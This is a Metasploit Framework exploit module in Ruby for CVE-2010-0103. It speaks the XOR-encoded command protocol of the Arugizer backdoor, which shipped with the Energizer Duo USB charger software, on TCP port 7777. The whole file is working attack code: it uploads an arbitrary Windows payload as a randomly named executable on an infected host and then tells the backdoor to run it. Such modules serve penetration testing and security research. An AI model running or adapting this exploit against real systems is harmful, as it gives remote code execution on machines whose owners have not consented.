##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# https://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Energizer DUO Trojan Code Execution',
      'Description'    => %q{
        This module will execute an arbitrary payload against
      any system infected with the Arugizer trojan horse. This
      backdoor was shipped with the software package accompanying
      the Energizer Duo USB battery charger.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 8749 $',
      'References'     =>
        [
          ['CVE', '2010-0103'],
          ['URL', 'https://www.kb.cert.org/vuls/id/154421']
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ],
        ],
      'DefaultTarget'  => 0
      ))


    register_options(
      [
        Opt::RPORT(7777),
      ], self.class)
  end

  def trojan_encode(str)
    str.unpack("C*").map{|c| c ^ 0xE5}.pack("C*")
  end

  def trojan_command(cmd)
    cid = ""

    case cmd
    when :exec
      cid = "{8AF1C164-EBD6-4b2b-BC1F-64674E98A710}"
    when :dir
      cid = "{0174D2FC-7CB6-4a22-87C7-7BB72A32F19F}"
    when :write
      cid = "{98D958FC-D0A2-4f1c-B841-232AB357E7C8}"
    when :read
      cid = "{F6C43E1A-1551-4000-A483-C361969AEC41}"
    when :nop
      cid = "{783EACBF-EF8B-498e-A059-F0B5BD12641E}"
    when :find
      cid = "{EA7A2EB7-1E49-4d5f-B4D8-D6645B7440E3}"
    when :yes
      cid = "{E2AC5089-3820-43fe-8A4D-A7028FAD8C28}"
    when :runonce
      cid = "{384EBE2C-F9EA-4f6b-94EF-C9D2DA58FD13}"
    when :delete
      cid = "{4F4F0D88-E715-4b1f-B311-61E530C2C8FC}"
    end

    trojan_encode(
      [cid.length + 1].pack("V") + cid  + "\x00"
    )
  end

  def exploit

    nam = "C:\\" + Rex::Text.rand_text_alphanumeric(12) + ".exe" + "\x00"
    exe = Msf::Util::EXE.to_win32pe(framework,payload.encoded) + "\x00"


    print_status("Trying to upload #{nam}...")
    connect

    # Write file request
    sock.put(trojan_command(:write))
    sock.put(trojan_encode([nam.length].pack("V")))
    sock.put(trojan_encode(nam))
    sock.put(trojan_encode([exe.length].pack("V")))
    sock.put(trojan_encode(exe))

    # Required to prevent the server from spinning a loop
    sock.put(trojan_command(:nop))

    disconnect

    #
    # Execute the payload
    #

    print_status("Trying to execute #{nam}...")

    connect

    # Execute file request
    sock.put(trojan_command(:exec))
    sock.put(trojan_encode([nam.length].pack("V")))
    sock.put(trojan_encode(nam))

    # Required to prevent the server from spinning a loop
    sock.put(trojan_command(:nop))

    disconnect
  end
end